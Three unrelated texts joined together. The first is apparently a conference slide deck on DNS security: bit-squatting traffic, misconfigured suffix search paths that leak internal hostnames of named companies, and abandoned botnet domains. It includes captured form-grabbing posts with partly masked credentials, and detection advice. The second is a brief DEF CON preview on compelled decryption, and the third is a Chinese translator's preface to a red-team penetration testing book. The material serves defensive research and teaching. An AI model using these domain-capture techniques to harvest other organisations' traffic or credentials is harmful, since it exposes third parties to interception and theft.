77.103.212.102 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.96.107.165 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.96.68.59 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.96.94.150 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
77.98.65.88 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
80.195.240.134 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
80.195.240.140 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
80.195.240.66 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
80.195.28.42 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
82.38.119.43 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
82.41.181.77 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
82.41.183.91 "www.grtatic.com" "GET /ig/modules/gadgetfactory/v2/search-white.cache.png"
Bit-Squatting
GB, 62.30.127.40,
Virgin Media
GB,
62.30.90.211,
Virgin Media
GB,
62.31.197.88,
Virgin Media
GB,
77.101.112.66,
Virgin Media
GB,
77.101.54.41,
Virgin Media
GB,
77.103.212.102, Virgin Media
GB,
77.96.107.165,
Virgin Media
GB,
77.96.68.59,
Virgin Media
GB,
77.96.94.150,
Virgin Media
GB,
77.98.65.88,
Virgin Media
GB,
80.195.240.134, Virgin Media
GB,
80.195.240.140, Virgin Media
GB,
80.195.240.66,
Virgin Media
GB,
80.195.28.42,
Virgin Media
GB,
82.38.119.43,
Virgin Media
GB,
82.41.181.77,
Virgin Media
GB,
82.41.183.91,
Virgin Media
GB,
82.46.238.196,
Virgin Media
Bit-Squatting
Fun with Postini
$ dig mozilla.org. mx +short
400 mozilla.com.s5b2.psmtp.com.
100 mozilla.com.s5a1.psmtp.com.
200 mozilla.com.s5a2.psmtp.com.
300 mozilla.com.s5b1.psmtp.com.
Bit-Squatting
about.com.mail11.prmtp.com
acterna.com.s7b2.prmtp.com
aeecorp.com.s5a1.prmtp.com
aggintl.com.s9a2.prmtp.com
ahrcnyc.org.s8a2.prmtp.com
aireco.com.mail6.prmtp.com
airties.com.s0b2.prmtp.com
alaska.com.mail5.prmtp.com
alston.com.mail5.prmtp.com
amg-inc.com.s7a2.prmtp.com
ams-pmt.com.s5a1.prmtp.com
archenv.com.s7a1.prmtp.com
ashbyco.com.s7b1.prmtp.com
ashland.com.s5a1.prmtp.com
asurion.com.s9a1.prmtp.com
atcomhq.com.s8b2.prmtp.com
auracom.com.s6a1.prmtp.com autogas.com.s7a1.prmtp.com
bardadv.com.s5a2.prmtp.com
baseinc.com.s8b2.prmtp.com
b-bachs.com.s5a1.prmtp.com
bbinswa.com.s6a1.prmtp.com
bbrslaw.com.s8b1.prmtp.com
bbt.co.uk.s200a2.prmtp.com
bc.pitt.edu.s7b1.prmtp.com
bda-inc.com.s7a1.prmtp.com
braden.com.s10b2.prmtp.com
bridge.nl.s200a1.prmtp.com
brofort.com.s8b2.prmtp.com
brunico.com.s9a1.prmtp.com
bryant.edu.s10a2.prmtp.com
bslogin.com.s9a1.prmtp.com
bwnoise.com.s7b2.prmtp.com
cableone.net.mail6.prmtp.com
calarts.edu.s9a1.prmtp.com
capital.net.s6b2.prmtp.com
cch-lis.com.s5a1.prmtp.com
charity.org.s5a2.prmtp.com
chouest.com.s5a1.prmtp.com
cinmach.com.s8b2.prmtp.com
conxxus.com.s6b2.prmtp.com
cvcvbc.aw46z.prmtp.com
cwl-inc.com.s5b2.prmtp.com
dbigolf.com.s6b2.prmtp.com
Bit-Squatting
dcsdk12.org.s9a2.prmtp.com
dcshoes.com.s5b2.prmtp.com
deloitte.dk.s7b1.prmtp.com
denvest.com.s9a1.prmtp.com
desales.edu.s8a2.prmtp.com
detnews.com.s7a1.prmtp.com
digitel.net.s7a1.prmtp.com
dlvbbdo.com.s7b1.prmtp.com
dnata.com.s201b2.prmtp.com
duralee.com.s7a2.prmtp.com
dvicomm.com.s9b2.prmtp.com
Ecomdss.com.s8b1.prmtp.com
ecsdnv.net.s10b1.prmtp.com
educate.com.s5a1.prmtp.com
ee.pitt.edu.s7b1.prmtp.com
eknikl.ldoy2.prmtp.com
e-m.co.uk.s200a1.prmtp.com
emerson.com.s7a2.prmtp.com
eritter.net.s6b2.prmtp.com
esedona.net.s6a1.prmtp.com
fordham.edu.s8a2.prmtp.com
futurestep.com.s8b2.prmtp.com galileo.com.s8a1.prmtp.com
gannett.com.s7a1.prmtp.com
gdjpud.vsnad.prmtp.com
genpact.com.s8a1.prmtp.com
glcomp.com.mail6.prmtp.com
hal-pc.org.mail1.prmtp.com
herguth.com.s7a1.prmtp.com
hklaw.com.mail12.prmtp.com
hocking.net.s5b2.prmtp.com
hpdsoftware.com.s200b2.prmtp.com
ici-llc.com.s5b2.prmtp.com
infoave.net.s5a2.prmtp.com
infonxx.com.s8b1.prmtp.com
infopia.com.s7a1.prmtp.com
innovex.com.s8a1.prmtp.com
itronix.com.s8b2.prmtp.com
jaxbank.com.s5a1.prmtp.com
jcurran.com.s7b1.prmtp.com
jennmar.com.s9a2.prmtp.com
jet-web.com.s9a2.prmtp.com
jfshea.com.s10a2.prmtp.com
juniper.net.s7a1.prmtp.com
kdlegal.com.s8a1.prmtp.com
koenigs.com.s5a1.prmtp.com
kpmg.com.hk.s8a1.prmtp.com
Bit-Squatting
lakemac.net.s6a2.prmtp.com
laser27.com.s8b2.prmtp.com
lchcnet.org.s8a1.prmtp.com
lesspub.com.s9a1.prmtp.com
lexmark.com.s8b1.prmtp.com
lfstaff.com.s8a2.prmtp.com
liebert.com.s7a1.prmtp.com
lifeway.com.s5a1.prmtp.com
limitlessny.s8a1.prmtp.com
limitlessny.s8a2.prmtp.com
lindal.com.s10a1.prmtp.com
maciejn.com.s7a1.prmtp.com
mag-ias.com.s8a1.prmtp.com
markany.com.s7a1.prmtp.com
mendes.com.mail5.prmtp.com
minpack.com.s5b2.prmtp.com
mozilla.com.s5a1.prmtp.com
mpitime.com.s7b2.prmtp.com
mq.edu.au.s200a1.prmtp.com
mudlake.net.s8b1.prmtp.com
muskoka.com.s5a1.prmtp.com
myexcel.com.s6a1.prmtp.com
netptc.net.mail8.prmtp.com
netsync.net.s9a1.prmtp.com
newport.com.s8a2.prmtp.com
nominum.com.s7a2.prmtp.com nqlc.com.au.s9a1.prmtp.com
opm-llc.com.s8a1.prmtp.com
orkla.com.s200a2.prmtp.com
pacific.net.s5a1.prmtp.com
pacrelo.com.s8b2.prmtp.com
pccpllc.com.s9a1.prmtp.com
perlick.com.s8a1.prmtp.com
pickpro.com.s7a1.prmtp.com
pogolaw.com.s8a1.prmtp.com
postini.com.s8a1.prmtp.com
prupref.com.s9a1.prmtp.com
qed-inc.com.s9a1.prmtp.com
re4u.net.s8a2.prmtp.com
regions.com.s6a1.prmtp.com
remax-lx.ca.s7a1.prmtp.com
rivkin.com.mail5.prmtp.com
rodale.com.mail5.prmtp.com
rosetti.com.s6b1.prmtp.com
route24.net.s9b2.prmtp.com
Bit-Squatting
rubloff.com.s9b1.prmtp.com
sage.com.au.s7b1.prmtp.com
sbolive.com.s5a1.prmtp.com
seabox.com.s10b2.prmtp.com
shawinc.com.s6b1.prmtp.com
sig-ins.com.s7a2.prmtp.com
silanis.com.s5a1.prmtp.com
seattle.gov.s8b1.prmtp.com
smlperu.com.s6b2.prmtp.com
smkdlaw.com.s6b1.prmtp.com
smythnora.com.s8a2.prmtp.com solusii.com.s7a1.prmtp.com
sscotti.org.s7b2.prmtp.com
state.pa.us.s7a1.prmtp.com
stena.com.s200b2.prmtp.com
stevens.edu.s9a2.prmtp.com
stibo.com.s200a1.prmtp.com
stroock.com.s6a2.prmtp.com
stryker.com.s8a1.prmtp.com
studeo.com.s10a1.prmtp.com
surfari.net.s8b1.prmtp.com
swassoc.com.s8a2.prmtp.com
swisher.com.s8b2.prmtp.com
talent2.com.s9a1.prmtp.com
tctwest.net.s5a1.prmtp.com
thomson.net.s7a2.prmtp.com
udayton.edu.s9b2.prmtp.com
undss.org.s201b2.prmtp.com
unomaha.edu.s5a2.prmtp.com
uwc.ac.za.s200a1.prmtp.com
vss.fsi.com.s5a1.prmtp.com
wctatel.net.s6a1.prmtp.com
weshred.net.s8b1.prmtp.com
yaskawa.com.s5a1.prmtp.com
zachry.com.s10b1.prmtp.com
Bit-Squatting
Explore how this kind
of thing will affect you.
Misunderstood End-Point
Behavior
Misunderstood End-Point Behavior
Expected resolver behavior
DNS suffix search paths
Poorly documented behavior
Observations and lessons learned
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
www.google.com
Misunderstood End-Point Behavior
www.google.com.
Misunderstood End-Point Behavior
www.google.com
google.com
www
www.google.com.
Misunderstood End-Point Behavior
Suffix Search Paths
DNS Devolution
Misunderstood End-Point Behavior
Suffix Search Paths
Foo Inc.
ad.foo.com
foo.com
Misunderstood End-Point Behavior
Suffix Search Paths
XP Behavior
DNS Query -> www.ad.foo.com
DNS Query -> www.foo.com
NetBIOS Query -> www
Misunderstood End-Point Behavior
Suffix Search Paths
XP Behavior
DNS Query -> www.phx
DNS Query -> www.phx.ad.foo.com
DNS Query -> www.phx.foo.com
NetBIOS Query -> www.phx
Misunderstood End-Point Behavior
Suffix Search Paths
Post-XP Behavior
DNS Query -> www.phx
NetBIOS Query -> www.phx
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
DNS Query –> www.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – ad.foo.co.uk
DNS Query –> www.ad.foo.co.uk
DNS Query –> www.foo.co.uk
DNS Query –> www.co.uk
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – ad.foo.co.uk
DNS Query –> www.ad.foo.co.uk
DNS Query –> www.foo.co.uk
DNS Query –> www.co.uk
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
DNS Query –> www.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
DNS Query –> www.com
Misunderstood End-Point Behavior
DNS Devolution
XP Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
DNS Query –> www.com
Misunderstood End-Point Behavior
DNS Devolution
Windows 7 Behavior
Connection Specific Domain – phx.ad.foo.com
DNS Query –> www.phx.ad.foo.com
DNS Query –> www.ad.foo.com
DNS Query –> www.foo.com
DNS Query –> www.com
Misunderstood End-Point Behavior
Fixed?
Misunderstood End-Point Behavior
BYOD
Mobile
Broken XP
Misunderstood End-Point Behavior
BYOD
Mobile
Broken XP
Misunderstood End-Point Behavior
sipinternal.com
proxy-phoenix.com
set-proxy.com
Misunderstood End-Point Behavior
sipinternal.com
REGISTER sip:com SIP/2.0
Via: SIP/2.0/TCP 199.41.198.254:33663
Max-Forwards: 70
From: <sip:com>;tag=e72f0d4ce7;epid=895120c8c2
To: <sip:com>
Call-ID: 53b3ec1c2e0547ab9b72ab97ed17c8b0
CSeq: 1 REGISTER
Contact: <sip:199.41.198.254:33663;transport=tcp;ms-opaque=8300f99968>;methods="INVITE, MESSAGE, INFO,
OPTIONS, BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY";proxy=replace;+sip.instance="<urn:uuid:D964A4BE-
A17A-50DD-9D69-836911E33E95>"
User-Agent: UCCAPI/3.5.6907.221 OC/3.5.6907.221 (Microsoft Office Communicator 2007 R2)
Supported: gruu-10, adhoclist, msrtc-event-categories
Supported: ms-forking
ms-keep-alive: UAC;hop-hop=yes
Event: registration
Content-Length: 0
Misunderstood End-Point Behavior
proxy-phoenix.com
Misunderstood End-Point Behavior
set-proxy.com
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
170.249.6.88 "set-proxy.com" "GET /bin/setup.proxy"
NetRange:
170.249.0.0 - 170.250.255.255
OrgName:
Arthur Andersen
OrgId:
ARTHUR-15
Misunderstood End-Point Behavior
set-proxy.com
170.252.248.200 "GET /bin/setup.proxy" "mstreamd/1 CFNetwork/548.1.4 Darwin/11.0.0"
170.252.248.200 "GET /bin/setup.proxy" "WordsWithFriendsPaid/4.12.1 CFNetwork/548.1.4 Darwin
170.252.248.200 "GET /bin/setup.proxy" "itunesstored (unknown version) CFNetwork/548.1.4 Darwin
170.252.248.200 "GET /bin/setup.proxy" "Mail/53 CFNetwork/548.1.4 Darwin/11.0.0"
170.252.248.200 "GET /bin/setup.proxy" "GeoServices/84 CFNetwork/548.1.4 Darwin/11.0.0"
170.252.248.200 "GET /bin/setup.proxy" "Maps/1.0 CFNetwork/548.1.4 Darwin/11.0.0"
170.252.248.200 "GET /bin/setup.proxy" "itunesstored (unknown version) CFNetwork/548.1.4 Darwin
170.252.248.200 "GET /bin/setup.proxy" "dataaccessd (unknown version) CFNetwork/548.1.4 Darwin
170.252.248.200 "GET /bin/setup.proxy" "mstreamd/1 CFNetwork/548.1.4 Darwin/11.0.0"
170.252.248.200 "GET /bin/setup.proxy" "itunesstored (unknown version) CFNetwork/548.1.4 Darwin
NetRange:
170.251.0.0 - 170.252.255.255
OrgName:
Accenture
OrgId:
ACCENT-10
Misunderstood End-Point Behavior
set-proxy.com
Misunderstood End-Point Behavior
set-proxy.com
Misunderstood End-Point Behavior
Don’t trust expectations based
upon on how things used to
work, monitor and understand
what normal DNS traffic looks
like on your network.
You don’t own that domain
I do >:)
You don’t own that domain
I do >:)
You don’t own that domain
“HKLM\System\CurrentControlSet\Services\TCPIP\Param
eters\SearchList”
Or
“Windows IP Configuration” + “DNS Suffix Search List”
You don’t own that domain
Windows IP Configuration
Host Name . . . . . . . . . . . . :
AN990107196
Primary Dns Suffix . . . . . . . : quanta.corp
Node Type . . . . . . . . . . . . :
Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : quanta.corp
rsquanta.com
quantacn.com
You don’t own that domain
Windows IP Configuration
Host Name . . . . . . . . . . . . :
AN990107196
Primary Dns Suffix . . . . . . . : quanta.corp
Node Type . . . . . . . . . . . . :
Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : quanta.corp
rsquanta.com
quantacn.com
You don’t own that domain
Windows IP Configuration
Host Name . . . . . . . . . . . . : AN990107196
“Quanta Computer”
60,000 employees worldwide
manufactures hardware for
You don’t own that domain
mailbx01.rsquanta.com
mailbx02.rsquanta.com
mailbx03.rsquanta.com
mailhub04.rsquanta.com
mailhub05.rsquanta.com
FTP-CHT.rsquanta.com
ftp.rsquanta.com
nb1ftp.rsquanta.com
nb5-ftp.rsquanta.com
f1ftp02.rsquanta.com
ftp01.rsquanta.com
myproxy.rsquanta.com
proxycn.rsquanta.com
proxy.rsquanta.com
wpad.rsquanta.com
wsus01.rsquanta.com
wsus-cq.rsquanta.com
wsus-sh1.rsquanta.com
SMS_SLP.rsquanta.com
You don’t own that domain
173.37.87.155: view external-in: query: proxy.rsquanta.com
171.70.168.155: view external-in: query: QRDCOFC05.rsquanta.com
171.70.168.167: view external-in: query: wpad.rsquanta.com
17.254.0.23: view external-in: query: wpad.rsquanta.com
17.254.0.23: view external-in: query: wsus01.rsquanta.com
17.254.0.23: view external-in: query: proxy.rsquanta.com
136.229.2.57: view external-in: query: proxy.rsquanta.com
136.229.2.56: view external-in: query: qrdcprt02.rsquanta.com
136.229.2.57: view external-in: query: QRDCOFC03.quanta.corp.rsquant
143.166.82.252: view external-in: query: wpad.rsquanta.com
143.166.224.3: view external-in: query: SMS_SLP.rsquanta.com
143.166.224.11: view external-in: query: proxy.rsquanta.com
You don’t own that domain
You don’t own that domain
Best Dry Cleaners
99.59.76.38: query: wpad.rsquanta.com
San Francisco International Airport 216.9.98.80: query: wpad.rsquanta.com
Venetian Resort Hotel Casino
64.79.144.10: query: wpad.rsquanta.com
MGM Mirage
69.162.4.53: query: wpad.rsquanta.com
You don’t own that domain
Please verify your configurations
Monitor the internet for details of your internal
configuration
• Pastebin
• Bleeping Computer
Monitor your DNS logs to verify your clients and the
clients of your onsite partners and vendors are
querying what you expect
Abandoned Botnets
and
Forgotten Toys
Abandoned Botnets and Forgotten Toys
Expired Command and Control Domains
Botnet remnants
Abandoned Botnets
Detection
Abandoned Botnets and Forgotten Toys
microsoft-windows-security.com
Win32:EyeStye
268 remaining infections
Uses form grabbing to steal credentials
Abandoned Botnets and Forgotten Toys
--55372666816118
Content-Disposition: form-data; name="data"
bot_guid=138BFC5C-8C31-4415-92D0B382B5550E0D
process_name=iexplore.exe
hooked_func=HttpSendRequestW
func_data=POST /login.php?login_attempt=1 HTTP/1.1
lsd=AVoCccq2&email=steve*******@yahoo.com&pass=*******&defa
ult_persistent=0&timezone=240&lgnrnd=183641_PjES&lgnjs=13637435
23&locale=en_US
--55372666816118--
Abandoned Botnets and Forgotten Toys
Remaining Infections
simrako.com
14162 infected
ms-stats.info
2979 infected
myrestricted.info
2203 infected
zapalinfo.info
2111 infected
ntpupdatedomain.com 1571 infected
rapeisntfunny.info
844 infected
Abandoned Botnets and Forgotten Toys
b.354782.InfO
"POST /b/i.asp HTTP/1.1”
Content-Disposition: form-data; name="InSfo”
txtUserId::Gupta
txtPassword::*******
Content-Disposition: form-data; name="BasicSInfo”
192.168.50.26|192.168.50.26|8.0000|00-1C-C0-EB-E9-34|BC01-0920
Abandoned Botnets and Forgotten Toys
ET_product::SSIM
ET_component::BACKEND
ET_version::4.8
ET_target_version::4.8
ET_assigned_to::gaurav_pratap
ET_type::DEFECT
ET_state::CLOSED
ET_reporter::gaurav_pratap
ET_severity::2
ET_priority::2
ET_resolution::SOURCE_CHANGE
ET_user_defined_list::FILES
ET_user_defined_list2::SECURITY
ET_build::153
ET_target_build::184
Site::engtools.engba.symantec.com
Mac::00-24-E8-4A-ED-A3
Ver::BC01-0920
Abandoned Botnets and Forgotten Toys
NXDOMAIN Hijacking
Abandoned Botnets and Forgotten Toys
NXDOMAIN Hijacking
Abandoned Botnets and Forgotten Toys
NXDOMAIN Hijacking
Abandoned Botnets and Forgotten Toys
NXDOMAIN Hijacking
Abandoned Botnets and Forgotten Toys
Detection
Collect your DNS logs into a database
Regularly extract names being queried for the
first time in your environment
Look for names only being queried by a single
client
Look up the registration dates and owners
Look for anything resolving to 127.0.0.1
Abandoned Botnets and Forgotten Toys
Resources
Bro – http://www.bro.org
DNS Anomaly Detection -
http://code.google.com/p/security-
onion/wiki/DNSAnomalyDetection
Passive DNS - https://github.com/gamelinux/passivedns
Response Policy Zones (RPZ)
DNS Sinkholes -
http://handlers.sans.edu/gbruneau/sinkhole.htm
Abandoned Botnets and Forgotten Toys
White Papers
Passive Monitoring of DNS Anomalies
http://www.caida.org/publications/papers/2007/dns_anomalies/dns_anomalies.pdf
Detecting Malware Domains at the Upper DNS Hierarchy
https://www.usenix.org/legacy/event/sec11/tech/full_papers/Antonakakis.pdf
Mining DNS for Malicious Domain Registration
http://www.mcafee.com/us/resources/white-papers/wp-mining-dns-for-malicious-domain-
regist.pdf
Preprocessing DNS Log Data for Effective Data Mining
http://www.ccs.neu.edu/home/koods/papers/snyder09preprocessing.pdf
Detecting Botnet Activities Based on Abnormal DNS Traffic
http://arxiv.org/pdf/0911.0487v1.pdf
Questions?
[email protected]
Please contact me with any questions,
comments, or opportunities :)
Thank You! | pdf |
Compelled Decryption
State of the Art Doctrinal Perversions
by Ladar Levison
Owner and Operator, Lavabit LLC
Version 1.0
July 8th 2016
DEF CON 24 PRESENTATION PREVIEW
PLEASE NOTE
THESE SLIDES ARE PRELIMINARY
EXPECT ALTERATIONS
First Party
vs
Third Party
Communications Assistance
for Law Enforcement Act
(aka CALEA)
Third Parties
Like Lavabit, Apple, WhatsApp, Telegram, Dell, Cisco
or CentOS, OpenSSL CipherShed
or Linus Torvalds, Gavin Andresen, Werner Koch
or you
Fin | pdf |
[译] 渗透测试实战第三版(红队版)
译者:Snowming(雪茗) 时间:北京时间 2019-03-17
本书英文名:The Hacker Playbook 3
阅读
在 Github 上阅读本书
免责声明
@Snowming 纯粹出于学习目的与个人兴趣翻译本书。本人承诺绝不用此译文谋取任何形式的经济利益。也坚决拒绝
其他任何人以此牟利。
本译文只供学习研究参考之用,不得用于商业用途。@Snowming 保留对此版本译文的署名权及其它相关权利。
若有人使用本译文进行侵权行为或者违反知识产权保护法的任何行为,与本译者无关。译者坚决反对此类行为。
任何转载必须注明出处。
译者的话
这本书是 The Hacker Playbook 的第三版,通常我们也说它是红队版。因为本书是以红蓝对抗中红队的视角来撰
写的。
首先要说一声抱歉,因为我的翻译可能并不是特别好。首先,整本书是在三周的时间仅由我一个人翻译完的,因为本
人临近硕士毕业,不可能花太多时间来作这件事情。而且这本书的专业程度比较高,并不是一本科普读物。而译者的
专业水平有限,所以可能对本书的理解上也受限于我的专业水平。但是,译者尽力以最大的诚意,来完成此书的翻
译。我寻求的效果是:完成本书作者与中文读者之间的连接。基于此目标,我的翻译原则有以下几条:
1. 对每一个句子,我并非在词义的层面上简单的译为中文,而是按照自己的理解翻译的。我有一种观点:如果那样
的话,与谷歌翻译有什么区别呢?所以我会在词义的基础上,去理解作者的每一句话,查阅相关资料,结合词
义、句意、专业知识背景来翻译。所以读者可以看到,我在一些地方贴出了一些补充资料。我希望我的翻译既
保留作者原意,也更符合中文。其中若有不明之处,我跟几位比我从业经验丰富的安全行业朋友进行了讨论,
毕竟我资历尚浅,若是因为自己的肤浅理解而误导读者,那可真是我的过错了。对每一个句子,只有我自己让
我是可以读懂的,我才会贴上来。
2. 因为中文和英文的确存在差异,并非每一句英文的意思都可以用中文完全表达出同样的意思,不可避免的存在
些个翻译出来比较奇怪的词语。对于这种情况,我会去互联网上基于关键词进行搜索,参考诸如微软中文文档
之类的翻译,最好是遵循他们的翻译惯例。因为毋庸置疑的,专业的微软文档工程师肯定比我的水平高。
3. 译文中所有的链接我自己都点过一遍,虽然我拿到的英文 PDF 有些链接自己都无法访问,但是我尽力还原作者
原意,通过网络搜索找到正确链接贴上。对于其他的过期链接我也会更附上说明。这里必须说明,事实上,不
断的有一些链接失效,仅仅我翻译的这三周,到我今天定稿,就很多失效了。我也只能尽量贴上最新的链接。
4. 一些专业术语保留英文常用习惯,因为毕竟本书不是一本科普书。我身边很多安全从业者,不会把 payload 说
成攻击载荷。所以本书中除第一次遇到 payload 会附注攻击载荷,后面一律使用payload。类似的专业术语还
包括 beacon、POC、AD 等。
5. 一些工具里面的选项保留英文。因为若翻译为中文,可能导致读者无法找到该选项,操作不便,反而弄巧成
拙。
6. 关于【译者注】:我思故我惑。书里也有很多我读不懂的、不太理解的知识盲区。读的时候我会查找相关资
料,但是我就会想,为什么不把我找到的觉得不错的资料分享给读者呢?这就是我的翻译中那些【译者注】的
由来。因为我把这个翻译当作书+笔记本来用了,所以有很多连接那是因为我自己也要看。如果你不看,请忽
略。并且,既然这是中文翻译,所以我分享的参考资料以中文资料为主。英文链接是我觉得特别好的文章才会
附上。
7. 我拿到的英文 PDF 版本,上面的一些代码存在问题。比如这一句书中的原代码 python SharpShooter.py —
interactive 。但是 — 其实应该是 -- 。本书中有多个这种错误。所以根据译者经验: — 如果你跑不通的话,
读者可以自行替换为 - 或 -- 来试试,或许就可以跑通了。实在再跑不通的话,可以在网上进行搜索。
8. PDF 版本中,如果用 [] 括起来的链接无法访问,请观察 URL,根据情况删除 ] ,一般就可以访问了。
阅读建议
1. 先大概理解每一章讲的是什么,比如:
第一章 环境搭建
第二章 信息收集
第三章 web漏洞利用
第四章 内网横向移动和权限提升
......
在心里有个这种朴素的目录,能帮助你读完本书后对红队工作流程心中有数。
2. 根据用途对本书中提到的所有你觉得好的工具建一个速查清单。我觉得你可以参考这篇来建:适用于渗透测试
不同阶段的工具收集整理
3. 本书毕竟是一本外语书,有的工具不适合国内环境。大家自行取舍。
对于本书的一些想法
技术的发展日新月异,所以本书中的一些工具可能有些过时了。我们对本书中的内容无需盲从,可以结合一些自己的
思考。
比如,第七章的内容可能会有些跟不上时代。但其实第七章中重新编译 msf 其实就是为了:
1. 尽可能消除 msf 的流量指纹特征;
2. 强化 msf 的 payload 的一些静态免杀能力;
3. 自定义添加一些功能(和 C2 交互方面,动态执行方面,流量优化方面)。
如果想清楚这个,那么看懂并理解它的操作会简单很多。现在针对攻击框架的二次开发基本都是在这么做,思路一
致,只是实现方式各有不同,但万变不离其宗,我们依然可以从书中的二次开发思路中获得一些启示。
而且本书作者的一个观点,我认为非常有趣。他说:红队的技术是基于 OSI 七层的不断轮回。作者甚至额外加了一个
第八层——社会工程学攻击。如果你看完本书,就会发现,的确,工具有基于物理层的、传输层的......一直到社会工
程学攻击。作者认为,当一切防御措施都做得接近完美的时候,我们仍然可以利用第八层,社会工程学攻击去进行渗
透。而随着新的技术的发展、不断地趋于大和复杂,一些曾经出现过的旧的漏洞又会出现。传统的攻击方法会迸发出
新的生机。
这大概就是我们阅读此类书的目的吧。与其授人以鱼不如授人以渔,一些工具病毒出来不久,就会被安全厂商逆向、
签名。但是如果我们习得了屠龙之术,那么就能以不变应对万变。我从本书中作者的循循善诱中学到了很多,作者不
仅逐步深入,还会跟我们讲为什么编程能力对安全人员很重要、为什么我们需要理解底层......我相信如果你认真读
了,你会跟我一样收获颇多。
关于译文中的错误处理
不可避免的,本书的翻译仍然存在很多问题,大家可以积极提 issue 给我,包括标点符号全角半角的问题也可以提给
我。在此先行感谢。
另外错误的改正情况也会在本仓库的 UPDATE 页面进行实时更新。
特别感谢
在这本书的翻译过程中,我也收获了友谊。为了一个词我们可以讨论很久,这样的同行,让我深深的觉得我没有选错
方向。感谢以下的小伙伴帮我提供校对支持:
哈姆太郎
匿名jack
Victor Zhu
鶇
leitbogioro
也感谢以下的小伙伴原意跟我讨论书上的问题:
鶇
哈姆太郎
匿名jack
googu0
在此对你们提供的帮助表示真诚的谢意。
协议
CC BY-NC-SA 4.0
前言
译者:@Snowming
这是《渗透测试实战》一书的第三版。以下会给出一个基于第二版新增的漏洞和攻击的总结。除了新的内容,本书保
留了之前的版本中现今仍然可以用的攻击和技术,这是为了避免让你再去翻以前的书。除了从以前的书里提取的内
容,这本书还有什么新的内呢?新的内容包括一些过去几年提出来的新话题:
利用活动目录
利用 Kerberos 协议
高级 Web 攻击
更好的横向移动方式
云计算相关漏洞
更快/更高效的密码破解
Living off the land 技术(意思是入侵者使用系统凭据和合法的软件管理工具访问系统,感染和收集有价值的数
据)
内网漫游攻击
多个定制的实验
较新的 Web 语言漏洞
物理攻击
特权升级
PowerShell 攻击
勒索软件攻击
红队 VS 渗透测试
建立红队基础设施
可用的红队指标
编写恶意软件和免杀
以及更多
此外, 我还试图采纳所有从第一版和第二版书的读者那里收到的评论和建议。我想再次重申, 我不是一个专业作家。我
只是喜欢安全并且想要交流安全, 这本书仅仅是我的兴趣项目。我希望你喜欢它。
本书还将更深入地介绍如何搭建一个测试攻击的实验环境, 以及渗透测试的最新技巧和姿势。最后, 我试图使这个版本
更容易去实践, 因为许多学校已经把这本书纳入他们的课程。 我尽量添加了实验部分, 来给读者提供测试漏洞或利用
漏洞的实践机会。
和其他两本书一样, 我尽量贴近真实的网络环境。我也试图远离理论攻击, 从实际的渗透经验出发。从渗透测试工程师
到红队, 我认为这个行业发生了重大的转变。 我想把这种转变展示给你看, 而不是仅仅告诉你为什么有这些转变。正
如我之前所说, 我的热情是教导和挑战他人。所以我写这本书有两个目的: 第一, 让读者理解攻击者的思维方式,了解
攻击的 "方式"; 第二, 我想让习得学到的工具和技术, 并且扩展他们。阅读和复现实验只是学习任务的一部分。我最想
教给你的是——让你的工作为你的才能代言。我真心觉得,如果你想要在安全方面找到工作。想要与其绞尽脑汁的写
